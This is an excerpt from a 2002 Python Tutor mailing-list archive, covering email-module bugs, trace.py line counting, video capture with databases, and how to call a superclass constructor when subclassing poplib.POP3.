part, Mailman raises a bogus exception in some contexts.  I think Barry
never bumped into this because the mail composers he uses never produce MIME
that lame (*claiming* that a one-part message is multipart isn't exactly
smart).  This is fixed in current CVS, and should ship in the 2.2.1 bugfix
release, which Michael Hudson is winding down on (so I guess will happen
within a few weeks).



From tim.one@comcast.net  Sun Feb 24 01:17:04 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 23 Feb 2002 20:17:04 -0500
Subject: [Tutor] Working with Email question  [new 'email' module in Python
 2.2]
In-Reply-To: <6AD3F866286@kserver.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCEENLNOAA.tim.one@comcast.net>

[Sheila King]
> There are other problems with the email module as well.
> ...

Sheila, if you belive there's a bug, you should open a bug report.  No bug
gets fixed by arguing on a mailing list, and I can pretty much guarantee
that the email package's author isn't going to see anything said about it
unless he reads it in a bug report.

A bug report doesn't need a lot of argument unless it proves to be
controversial; but since you haven't yet gotten this to the author's
attention, you can't yet know whether Barry will love or hate the complaint.
It doesn't really matter what Oleg or I may think:  we're not the experts
for this package.

> ...
> I hope this doesn't sound like sniping or whining.

Ditto:

> ...
> But I believe that my complaints are valid, and that these are problems
> that need to be corrected in the email module.

Without a bug report, nothing will change.  I often open one for a poster
when a posted behavior is obviously a bug, or when the poster seems unable
to articulate their case clearly.  This one doesn't fit either case, so I'm
leaving it to you:

    http://sf.net/tracker/?group_id=5470&atid=105470

Barry may or may not agree it's a bug, but-- honest --he doesn't bite,
except on Thursdays <wink>.



From sheila@thinkspot.net  Sun Feb 24 02:12:14 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 23 Feb 2002 18:12:14 -0800
Subject: [Tutor] Working with Email question  [new 'email' module in Python 2.2]
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEENLNOAA.tim.one@comcast.net>
References: <6AD3F866286@kserver.org> <LNBBLJKPBEHFEDALKOLCEENLNOAA.tim.one@comcast.net>
Message-ID: <707E65554AE@kserver.org>

On Sat, 23 Feb 2002 20:17:04 -0500, Tim Peters <tim.one@comcast.net>
wrote about RE: [Tutor] Working with Email question  [new 'email' module
in Python 2.2]:

> Sheila, if you belive there's a bug, you should open a bug report. 
...<snip>...
> A bug report doesn't need a lot of argument unless it proves to be
> controversial; but since you haven't yet gotten this to the author's
> attention, you can't yet know whether Barry will love or hate the complaint.
> It doesn't really matter what Oleg or I may think:  we're not the experts
> for this package.

OK, bug report opened.
http://sourceforge.net/tracker/index.php?func=detail&aid=521937&group_id=5470&atid=105470

Sorry for not handling this in the proper manner. I guess I was looking
for corroboration or comments or...heck...I dunno.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From lha2@columbia.edu  Sun Feb 24 02:40:29 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Sat, 23 Feb 2002 21:40:29 -0500
Subject: [Tutor] unrelated bug issue
References: <LNBBLJKPBEHFEDALKOLCEENLNOAA.tim.one@comcast.net>
Message-ID: <3C78529D.F4E7D754@mail.verizon.net>

Tim Peters wrote:
> Without a bug report, nothing will change.  I often open one for a poster
> when a posted behavior is obviously a bug, or when the poster seems unable
> to articulate their case clearly.  This one doesn't fit either case, so I'm
> leaving it to you:
> 
>     http://sf.net/tracker/?group_id=5470&atid=105470
> 
> Barry may or may not agree it's a bug, but-- honest --he doesn't bite,
> except on Thursdays <wink>.

So I tried Ruby for a bit, got frustrated by their ide and figured that
I'd try it later in a proper linux environment since the windows version
seems to be (I think, anyway) built on CygWin. When I uninstalled Ruby,
IDLE stopped working (no message--just didn't start. Command line python
worked fine). Turned out that this was because Ruby had put a few lines
in the autoexec.bat, one of which said "please use the Tcl library in
the Ruby directory", which no longer existed. Cleared out the
autoexec.bat, now Python works again. Is this a Python bug (ie, should
Python tell the user that the Tcl library doesn't exist or at least give
some sort of feedback), a Ruby bug (that the uninstaller didn't clean up
after itself), or both?


From tim.one@comcast.net  Sun Feb 24 06:00:59 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 24 Feb 2002 01:00:59 -0500
Subject: [Tutor] unrelated bug issue
In-Reply-To: <3C78529D.F4E7D754@mail.verizon.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEOBNOAA.tim.one@comcast.net>

[Lloyd Hugh Allen]
> So I tried Ruby for a bit, got frustrated by their ide and figured that
> I'd try it later in a proper linux environment since the windows version
> seems to be (I think, anyway) built on CygWin. When I uninstalled Ruby,
> IDLE stopped working (no message--just didn't start. Command line python
> worked fine). Turned out that this was because Ruby had put a few lines
> in the autoexec.bat, one of which said "please use the Tcl library in
> the Ruby directory", which no longer existed. Cleared out the
> autoexec.bat, now Python works again. Is this a Python bug (ie, should
> Python tell the user that the Tcl library doesn't exist or at least give
> some sort of feedback), a Ruby bug (that the uninstaller didn't clean up
> after itself), or both?

I got a better one:  suppose you shoved a banana down your throat, then a
carrot in each nostril.  Would it then be the banana's or the carrots' fault
that you couldn't breathe anymore?  That's right:  it would be the carrots',
because you didn't have any trouble breathing before they wound up in your
nose.  Or maybe it was the banana's fault after all, since if it weren't
there, the carrots' presence wouldn't matter.  It's a puzzler.  Just so long
as it's clear that it's never ever your fault <wink>.



From usenet@thinkspot.net  Sun Feb 24 00:33:03 2002
From: usenet@thinkspot.net (Sheila King)
Date: Sat, 23 Feb 2002 16:33:03 -0800
Subject: [Tutor] Working with Email question  [new 'email' module in Python 2.2]
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIENHNOAA.tim.one@comcast.net>
References: <Pine.LNX.4.21.0202231312380.666-100000@hkn.eecs.berkeley.edu> <LNBBLJKPBEHFEDALKOLCIENHNOAA.tim.one@comcast.net>
Message-ID: <6AD3F866286@kserver.org>

[this message has been posted to both the python-list and the
python-tutor list, and bcc'd to my co-developers]

On Sat, 23 Feb 2002 18:40:18 -0500, Tim Peters <tim.one@comcast.net>
wrote about RE: [Tutor] Working with Email question  [new 'email' module
in Python 2.2]:

> Unfortunately, way too many people have bumped into a bug in the 2.2 email:
> if a MIME message claims to be multipart, but actually contains only one
> part, Mailman raises a bogus exception in some contexts.  I think Barry
> never bumped into this because the mail composers he uses never produce MIME
> that lame (*claiming* that a one-part message is multipart isn't exactly
> smart).  This is fixed in current CVS, and should ship in the 2.2.1 bugfix
> release, which Michael Hudson is winding down on (so I guess will happen
> within a few weeks).

There are other problems with the email module as well.

For example: If one tries to read an email from stdin and there is a
problem with the boundaries in an email message, the whole instantiation
of the email message fails.

When I mentioned this previously, in comp.lang.python, the ONLY response
I got was this:
http://mail.python.org/pipermail/python-list/2002-February/085521.html

At the time I was intimidated by that response, but as time has gone on
and I've talked about it with my development partners, my spouse, and
had time to reflect on it, I simply disagree.

The docs for the email module state:
http://www.python.org/doc/2.2/lib/module-email.html

"It subsumes most of the functionality in several older standard modules
such as rfc822, mimetools, multifile, and other non-standard packages
such as mimecntl"

But this is not true. I can read ALL of the messages which cause a
problem with email module in through rfc822 and parse as much as
possible, given the poor email boundaries, and at least have some data
to work with.

Furthermore, ALL of the messages for which I was unable to instantiate
an email instance with the email module in my testing, could be read
into my email client (Forte Agent) and the clients my co-developers were
using (such as Outlook and Eudora).

Here's the deal:

When writing software that COMPOSES an email message, one should stick
to standards. But when writing software that READS email messages, one
should be as fault tolerant as possible. (These are, I believe, general
principles of software authoring, right? Not specific to email clients.)

If I wanted to write an email client, say, using some GUI package and
Python, I could never use the email module as it stands right now,
because it would not accept some email. I, as a developer, could
certainly not tell my customers, "Oh, well, sorry you were not able to
get some of your email. But those were badly formed messages, and so you
should just consider those people who sent them lame-o's."

In fact, I've found that most such mail appears to be spam. But I don't
think this would be very convincing to my customers either. "You lost
mail? Well, that's because it was badly formed. It was probably spam."

Right now, I'm using the email module in a script I'm working on. It
reads a message on stdin as the mail is delivered to the pop mailbox by
Qmail. And I LOVE a lot of the functionality that the email module
provides. Wonderful. Love the object oriented-ness of it, and the way
you can "walk" through the parts of the message. Great. *BUT* in order
to get around this problem with the email module, I'm currently
capturing the stdin as a string, then attempting to instantiate an
instance of an email object, and if that fails, then I resort to parsing
with the rfc822 module. I've been considering re-writing the whole thing
without the email module and just using rfc822 and multifile/mimetools.
This method I'm using now uses too much memory, but if I don't do it
this way, and the instantiation of the email object fails, then I've
already consumed the stdin input and have no way to get that email any
more (it is lost).

I hope this doesn't sound like sniping or whining. I do really love the
email module (excepting for these instantiation problems), and was
drooling over the release of 2.2 partly for this very module. But I
believe that my complaints are valid, and that these are problems that
need to be corrected in the email module.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From Jack.Jansen@oratrix.com  Sun Feb 24 22:29:24 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sun, 24 Feb 2002 23:29:24 +0100
Subject: [Tutor] Re: [Pythonmac-SIG] Re: why the recompile?
In-Reply-To: <fc.004c4b6b008e5eab004c4b6b008cfac6.8e5eb8@blakeschool.org>
Message-ID: <F4E58CA2-2975-11D6-BAA9-003065517236@oratrix.com>

On Saturday, February 23, 2002, at 06:47  PM, Christopher Smith wrote:
> In answer to my own question I learned that if one of the 
> libraries in the
> lib_dynload folder is newer than the .pyc files this will cause 
> the .pyc
> files to be rebuilt.

I doubt that this is really the problem, at least, I can't 
imagine why it would be so. I more suspect a problem with 
modtimes not being preserved and/or different timezones 
(combined with the way GUSI attempts to convert MacOS's 
localtime-based timestamps to unix's GMT-based timezones). But 
if it indeed has to do with a newer file that is totally 
unrelated to the module being imported then there's a bug in the 
Mac import code somewhere.

Could you try running with "trace import" and "also show failed 
attempts"? Not sure whether this'll give more information but 
it's worth a try.

--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 25 00:46:56 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 24 Feb 2002 16:46:56 -0800 (PST)
Subject: [Tutor] RE: [Edu-sig] Analyzing algorithms... (fwd)
Message-ID: <Pine.LNX.4.21.0202241643550.4098-100000@hkn.eecs.berkeley.edu>

Hi everyone,


People on edu-sig have been talking about ways to analyze the efficiency
of their programs.  I thought this topic might be pretty interesting for
people on Tutor too, so I'm forwarding it here.  I have to find some
weekend time to look at the scripts in 'Tools/scripts' more closely; the
trace.py function looks really darn useful!


---------- Forwarded message ----------
Date: Sun, 24 Feb 2002 17:45:23 -0500
From: Tim Peters <tim.one@comcast.net>
To: Jeffrey Elkner <jeff@elkner.net>, edu-sig@python.org
Subject: RE: [Edu-sig] Analyzing algorithms...

[Jeffrey Elkner]
> After attending Pai Chou's wonderful presentation, "Algorithm Education
> in Python" at Python10, I got permission from the instructor of an
> algorithms course I am currently taking to do our programming
> assignments in Python (after first assuring him that they would not be
> difficult to read ;-)
>
> Our first assignment is to implement merge and heap sort and then to
> compare them empirically as to the number of assignments and comparisons
> made by each.
>
> I've written the sorts.  Does anyone have any suggestions as to the best
> way to do the empirical analysis?  Is there a better way than just
> creating counters and then littering my code with increment statements?

That's what I usually do, but recently a semi-maddening semi-wonderful
alternative became available via Tools/scripts/trace.py (in your Python
distribution).  The maddening part is that it's almost impossible to figure
out how to use it:  the docs (consisting of a --help message) talk about
many options, but there's no overview, and no explantion of what the
(non-option) arguments are supposed to be.

So here's just-about simplest-possible use explained via example.  Here's a
file with a poor sort function:

C:\Python22>type bubblesort.py
def bubble(a):
    n = len(a)
    changed = 1
    while changed:
        changed = 0
        for i in xrange(n-1):
            if a[i] > a[i+1]:
                a[i], a[i+1] = a[i+1], a[i]
                changed = 1
        n -= 1

import random
a = range(20)
random.shuffle(a)
print a
bubble(a)
print a

Now I run it, just to make sure it works:

C:\Python22>python bubblesort.py
[14, 9, 7, 5, 16, 13, 1, 10, 17, 3, 11, 19, 0, 18, 8, 2, 12, 4, 6, 15]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]

Now pass the file to trace.py with the "-c" option:

C:\Python22>python Tools/scripts/trace.py -c bubblesort.py
[8, 12, 0, 6, 11, 16, 4, 17, 7, 10, 18, 2, 1, 9, 15, 19, 13, 5, 3, 14]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]

That took much longer to run, but it's worth it because of what happens
next:  it left behind a text file named bubblsort.cover, which *annotates*
each source line with the number of times it was executed:

C:\Python22>type bubblesort.cover
    2: def bubble(a):
    2:     n = len(a)
    1:     changed = 1
   18:     while changed:
   16:         changed = 0
  216:         for i in xrange(n-1):
  184:             if a[i] > a[i+1]:
   87:                 a[i], a[i+1] = a[i+1], a[i]
   87:                 changed = 1
   16:         n -= 1
    .
    1: import random
    1: a = range(20)
    1: random.shuffle(a)
    1: print a
    1: bubble(a)
    1: print a
    .
C:\Python22>

It *also* left behind a random.cover file in the Lib directory.  Stopping
(possibly) unwanted stuff like that is what some of the other options aim
at.

Note some odd things about the output; in typical use they don't really
matter, but if you're after exact counts you have to be aware of them:

What trace.py actually counts is the number of SET_LINENO opcodes executed.
Because "def" is an executable statement in Python, the count on "def
bubble(a)" is actually two:  it gets counted once for the time the def
statement is executed (which defines the function), and a second time for
*calling* the "bubble" function.

I can't account for why the count is also two on "n = lan(a)"; looks like a
bug.

The count on "while 1" is 1 larger than "it should be", because under the
covers a special SETUP_LOOP opcode is generated to get the while-loop
started, and is executed one per function call.  It gets counted against the
"while changed:" line because the closest preceding SET_LINENO opcode said
the SETUP_LOOP is due to line #4 in the function.  The count on the "for"
loop is also too large for the same reason, but worse because its hidden
SETUP_LOOP opcode is executed (and counted against the "for") once for each
iteration of the outer while-loop.  As a result, the count on "for" is 16 la
rger than expected (it *should* be 16 larger than the count on "if a[i] >
...", not 32 larger).

The counts on the "plain old lines" within the loops are on the nose,
though, and that's what's really important.

Good luck!


_______________________________________________
Edu-sig mailing list
Edu-sig@python.org
http://mail.python.org/mailman/listinfo/edu-sig



From garber@centralcatholic.org  Mon Feb 25 02:47:18 2002
From: garber@centralcatholic.org (Robert Garber)
Date: Sun, 24 Feb 2002 21:47:18 -0500
Subject: [Tutor] (no subject)
Message-ID: <200202242147.AA1132331250@centralcatholic.org>

Hello All,

 Here is my question. is it possible to use Python to write a GUI program that will use a video capture card to  capture a small video clip usally 8-15 seconds long, then give it  a name, and create a relational database that can be sorted any number of differtent ways? I am very NEW to programming as a whole but extremely motivated to learn. This is a small part of a project I eventualy hope to complete.
Thanks for any help offered,
Robert



From joejava@dragoncat.net  Mon Feb 25 03:02:35 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Sun, 24 Feb 2002 22:02:35 -0500
Subject: [Tutor] Inheritance Question
Message-ID: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2>

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01C1BD7E.F7F76880
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Ok, I've now played with rfc822 and the mime related modules to get an =
idea of how things work and what direction I want to go.  To get a feel =
for inheritance, I decided to make up a class called POP3Search which =
would inherit from poplib.POP3 (which connects to a pop3 server and =
queries for messages) with the extra features of message caching and =
search.

This is what I have:

import poplib

class POP3Search(poplib.POP3):
    """Create a connection to a POP3 mailserver and search for =
messages"""
   =20
    def __init__(self, host =3D "", port =3D 110):  =20
        poplib.POP3(host, port)      =20
   =20
if __name__ =3D=3D "__main__":
    s =3D POP3Search("pop3.mailserver")
    print s.getwelcome()

Now my understanding is -- and I guess I'm wrong -- is that POP3Search =
will inherit the attributes of POP3 so that getwelcome() when run will: =
Look in the child -- since none found, look in the parent -- executes =
that and returns the result.  getwelcome returns self.welcome -- self in =
this case being the parent.  Since welcome isn't found in the current =
class (POP3Search), find it in the parent (POP3).  Any case I'm getting =
an error that its not being found:

 File "C:\PYTHON22\lib\poplib.py", line 172, in getwelcome
    return self.welcome
AttributeError: POP3Search instance has no attribute 'welcome'

What can I do to fix (and understand this)? =20
Thanks

Joel


------=_NextPart_000_0013_01C1BD7E.F7F76880
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3314.2100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Ok, I've now played with rfc822 and the =
mime=20
related modules to get an idea of how things work and what direction I =
want to=20
go.&nbsp; To get a feel for inheritance, I decided to make up a class =
called=20
POP3Search which would inherit from poplib.POP3 (which connects to a =
pop3 server=20
and queries for messages) with the extra features of message caching and =

search.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This is what I have:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>import poplib</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>class=20
POP3Search(poplib.POP3):<BR>&nbsp;&nbsp;&nbsp; """Create a connection to =
a POP3=20
mailserver and search for messages"""<BR>&nbsp;&nbsp;&nbsp;=20
<BR>&nbsp;&nbsp;&nbsp; def __init__(self, host =3D "", port =3D =
110):&nbsp;&nbsp;=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; poplib.POP3(host,=20
port)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; <BR>if =
__name__=20
=3D=3D "__main__":<BR>&nbsp;&nbsp;&nbsp; s =3D=20
POP3Search("pop3.mailserver")<BR>&nbsp;&nbsp;&nbsp; print=20
s.getwelcome()</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Now my understanding is -- and I guess =
I'm wrong --=20
is that POP3Search will inherit the attributes of POP3 so that =
getwelcome() when=20
run will: </FONT><FONT face=3DArial size=3D2>Look in the child -- since =
none found,=20
look in the parent -- executes that and returns the result.&nbsp; =
getwelcome=20
returns self.welcome -- self in this case being the parent.&nbsp; Since =
welcome=20
isn't found in the current class (POP3Search), find it in the parent=20
(POP3).&nbsp;&nbsp;Any case I'm getting an error that its not being=20
found:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;File "C:\PYTHON22\lib\poplib.py", =
line 172,=20
in getwelcome<BR>&nbsp;&nbsp;&nbsp; return =
self.welcome<BR>AttributeError:=20
POP3Search instance has no attribute 'welcome'</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>What can I do to fix (and understand =
this)?&nbsp;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Joel</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0013_01C1BD7E.F7F76880--



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 25 03:07:02 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 24 Feb 2002 19:07:02 -0800 (PST)
Subject: [Tutor] (no subject)
In-Reply-To: <200202242147.AA1132331250@centralcatholic.org>
Message-ID: <Pine.LNX.4.21.0202241857240.6632-100000@hkn.eecs.berkeley.edu>

On Sun, 24 Feb 2002, Robert Garber wrote:

>  Here is my question. is it possible to use Python to write a GUI
> program that will use a video capture card to capture a small video
> clip usally 8-15 seconds long, then give it a name, and create a
> relational database that can be sorted any number of differtent ways?

Hi Robert,

Yes, it's definitely possible!  If you're using Windows, I believe you can
use the VideoCaputure module:

    http://stud4.tuwien.ac.at/~e9326522/VideoCapture/

I'm not sure if this works, as I don't have Windows, but there are
probably other sources of video capture software out there. Does anyone
have familiarity with video capture on other operating systems like Linux?



Python also has pretty good relational database support.  After you get
more familiar with Python, you can take a look at:

    http://python.org/topics/database/

This url is a topic guide on database programming and Python.  Do you have
a particular database in mind?



> I am very NEW to programming as a whole but extremely motivated to
> learn. This is a small part of a project I eventualy hope to complete.

This sounds like a very cool project!  I'm sure it's possible; I saw
something called the San Diego Zoo Panda Cam:

    http://www3.telus.net/futility/futility/software.html#pypanda

so something like this is definitely possible.  Please feel free to ask
questions; I'd love to see this work!  *grin*



Good luck!



From sheila@thinkspot.net  Mon Feb 25 03:12:33 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sun, 24 Feb 2002 19:12:33 -0800
Subject: [Tutor] Inheritance Question
In-Reply-To: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2>
References: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2>
Message-ID: <2FB6C1088E@kserver.org>

On Sun, 24 Feb 2002 22:02:35 -0500, "Joel Ricker" <joejava@dragoncat.net>  wrote about [Tutor]
Inheritance Question:
 
> Now my understanding is -- and I guess I'm wrong -- is that 
> POP3Search will inherit the attributes of POP3 so that getwelcome() 
> when run will: Look in the child -- since none found, look in the 
> parent -- executes that and returns the result.  getwelcome 
> returns self.welcome -- self in this case being the parent.  
> Since welcome isn't found in the current class (POP3Search), 
> find it in the parent (POP3).  Any case I'm getting an error that its not being found:

No, your understanding is correct. You just aren't subclassing the
POP3 init correctly.

Try this, instead:

class POP3Search(poplib.POP3):
	def __init__(self, host = "", port = 110):
		poplib.POP3.__init__(self, host, port)


HTH,

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From dyoo@hkn.eecs.berkeley.edu  Mon Feb 25 03:13:00 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 24 Feb 2002 19:13:00 -0800 (PST)
Subject: [Tutor] Inheritance Question   [calling a superclass's constructor]
In-Reply-To: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2>
Message-ID: <Pine.LNX.4.21.0202241907500.6632-100000@hkn.eecs.berkeley.edu>

On Sun, 24 Feb 2002, Joel Ricker wrote:

> Ok, I've now played with rfc822 and the mime related modules to get an
> idea of how things work and what direction I want to go.  To get a
> feel for inheritance, I decided to make up a class called POP3Search
> which would inherit from poplib.POP3 (which connects to a pop3 server
> and queries for messages) with the extra features of message caching
> and search.
> 
> This is what I have:
> 
> import poplib
> 
> class POP3Search(poplib.POP3):
>     """Create a connection to a POP3 mailserver and search for messages"""
>     
>     def __init__(self, host = "", port = 110):   
>         poplib.POP3(host, port)       

Ah!  I see that you're trying to call the constructor of the superclass.
Try:


###
def __init__(self, host = "", port = 110):   
    poplib.POP3.__init__(self, host, port)       
###

instead.


Let's take a look again at what was happening before:

###
def __init__(self, host = "", port = 110):   
    poplib.POP3(host, port)           # <--- 
###

In this code, our __init__ just instantiated a POP3 instance, and then
just tossed it aside.  It has a similar effect to:

###
def __init__(self, host = "", port = 110):
    throwaway = poplib.POP3(host, port)
    del throwaway
###

so it wasn't really getting our subclass instance primed up for POP work.


Good luck!



From karthikg@aztec.soft.net  Mon Feb 25 03:33:10 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Mon, 25 Feb 2002 09:03:10 +0530
Subject: [Tutor] Inheritance Question
In-Reply-To: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2>
Message-ID: <NEBBJNMDEKBIBCMCNMBDAEJHDDAA.karthikg@aztec.soft.net>

This is a multi-part message in MIME format.

------=_NextPart_000_0036_01C1BDDB.3FBFB3A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

[karthik Guru] >> you need to call the base class constructor to
initialise the attribute "welcome". I guess welcome is getting defined
in poplib.POP3's constructor.
methods are inherited w/o any explicit call to the base constructor but
attributes are not unless explicitly done.
 
    def __init__(self, host = "", port = 110):   
        poplib.POP3.__init__(host, port)       

 getwelcome returns self.welcome -- self in this case being the parent.
Since welcome isn't found in the current class (POP3Search), find it in
the parent (POP3).  
[karthik Guru] >> 
No i think self will always be the of type derived class if the method
gets invoked through a derived class reference. you can try printing the
type of self int he base class.
 
karthik.


------=_NextPart_000_0036_01C1BDDB.3FBFB3A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>

<META content=3D"MSHTML 5.50.4616.200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D084462403-25022002><SPAN =

class=3D084462403-25022002><FONT color=3D#0000ff>[karthik=20
Guru]&nbsp;&gt;&gt;</FONT></SPAN>&nbsp;you need to call the base class=20
constructor to initialise the attribute "welcome". I guess welcome is =
getting=20
defined in poplib.POP3's constructor.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN =
class=3D084462403-25022002>methods are=20
inherited w/o any explicit call to the base constructor but attributes =
are not=20
unless explicitly done.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D084462403-25022002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; def __init__(self, =
host =3D "",=20
port =3D 110):&nbsp;&nbsp; =
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
poplib.POP3<SPAN class=3D084462403-25022002>.__init__</SPAN>(host,=20
port)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT></DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft>
  <DIV><FONT face=3DArial><FONT size=3D2><SPAN =
class=3D084462403-25022002><FONT=20
  color=3D#0000ff>&nbsp;</FONT></SPAN>getwelcome returns self.welcome =
-- self in=20
  this case being the parent.&nbsp; Since welcome isn't found in the =
current=20
  class (POP3Search), find it in the parent =
(POP3).&nbsp;&nbsp;<BR><SPAN=20
  class=3D084462403-25022002><FONT color=3D#0000ff><SPAN=20
  class=3D084462403-25022002><FONT color=3D#0000ff>[karthik=20
  =
Guru]&nbsp;&gt;&gt;</FONT></SPAN>&nbsp;</FONT></SPAN></FONT></FONT></DIV=
>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff size=3D2><SPAN=20
  class=3D084462403-25022002>No i think self will always be the of type =
derived=20
  class if the method gets invoked through a derived class reference. =
you can=20
  try printing the type of self int he base =
class.</SPAN></FONT></FONT></DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff size=3D2><SPAN=20
  class=3D084462403-25022002></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial><FONT color=3D#0000ff size=3D2><SPAN=20
  =
class=3D084462403-25022002>karthik.</SPAN></FONT></FONT></DIV></DIV></BL=
OCKQUOTE></BODY></HTML>

------=_NextPart_000_0036_01C1BDDB.3FBFB3A0--


From garber@centralcatholic.org  Mon Feb 25 03:17:04 2002
From: garber@centralcatholic.org (Robert Garber)
Date: Sun, 24 Feb 2002 22:17:04 -0500
Subject: [Tutor] (no subject)
Message-ID: <200202242217.AA615514360@centralcatholic.org>

yes i use windows and most of the people i am targeting also use windows.

As for the datbase side I have downloaded MySQL, but have as of yet to start learning it . I am still knee deep in python tutorials and getting deeper. :0) I  would like to thank you for your time in repling to my question. 

Thanks Agin,
Robert

---------- Original Message ----------------------------------
From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>
Date: Sun, 24 Feb 2002 19:07:02 -0800 (PST)

>On Sun, 24 Feb 2002, Robert Garber wrote:
>
>>  Here is my question. is it possible to use Python to write a GUI
>> program that will use a video capture card to capture a small video
>> clip usally 8-15 seconds long, then give it a name, and create a
>> relational database that can be sorted any number of differtent ways?
>
>Hi Robert,
>
>Yes, it's definitely possible!  If you're using Windows, I believe you can
>use the VideoCaputure module:
>
>    http://stud4.tuwien.ac.at/~e9326522/VideoCapture/
>
>I'm not sure if this works, as I don't have Windows, but there are
>probably other sources of video capture software out there. Does anyone
>have familiarity with video capture on other operating systems like Linux?
>
>
>
>Python also has pretty good relational database support.  After you get
>more familiar with Python, you can take a look at:
>
>    http://python.org/topics/database/
>
>This url is a topic guide on database programming and Python.  Do you have
>a particular database in mind?
>
>
>
>> I am very NEW to programming as a whole but extremely motivated to
>> learn. This is a small part of a project I eventualy hope to complete.
>
>This sounds like a very cool project!  I'm sure it's possible; I saw
>something called the San Diego Zoo Panda Cam:
>
>    http://www3.telus.net/futility/futility/software.html#pypanda
>
>so something like this is definitely possible.  Please feel free to ask
>questions; I'd love to see this work!  *grin*
>
>
>
>Good luck!
>
>


From toodles@yifan.net  Mon Feb 25 03:22:40 2002
From: toodles@yifan.net (Andy W)
Date: Mon, 25 Feb 2002 11:22:40 +0800
Subject: [Tutor] Inheritance Question
References: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2>
Message-ID: <001301c1bdab$afe237a0$3100a8c0@sun>

Sorry the original isn't prefixed with lots of ">"s, I received it in HTML
and converted to text.

<snippet>

import poplib

class POP3Search(poplib.POP3):
    """Create a connection to a POP3 mailserver and search for messages"""

    def __init__(self, host = "", port = 110):
        poplib.POP3(host, port)

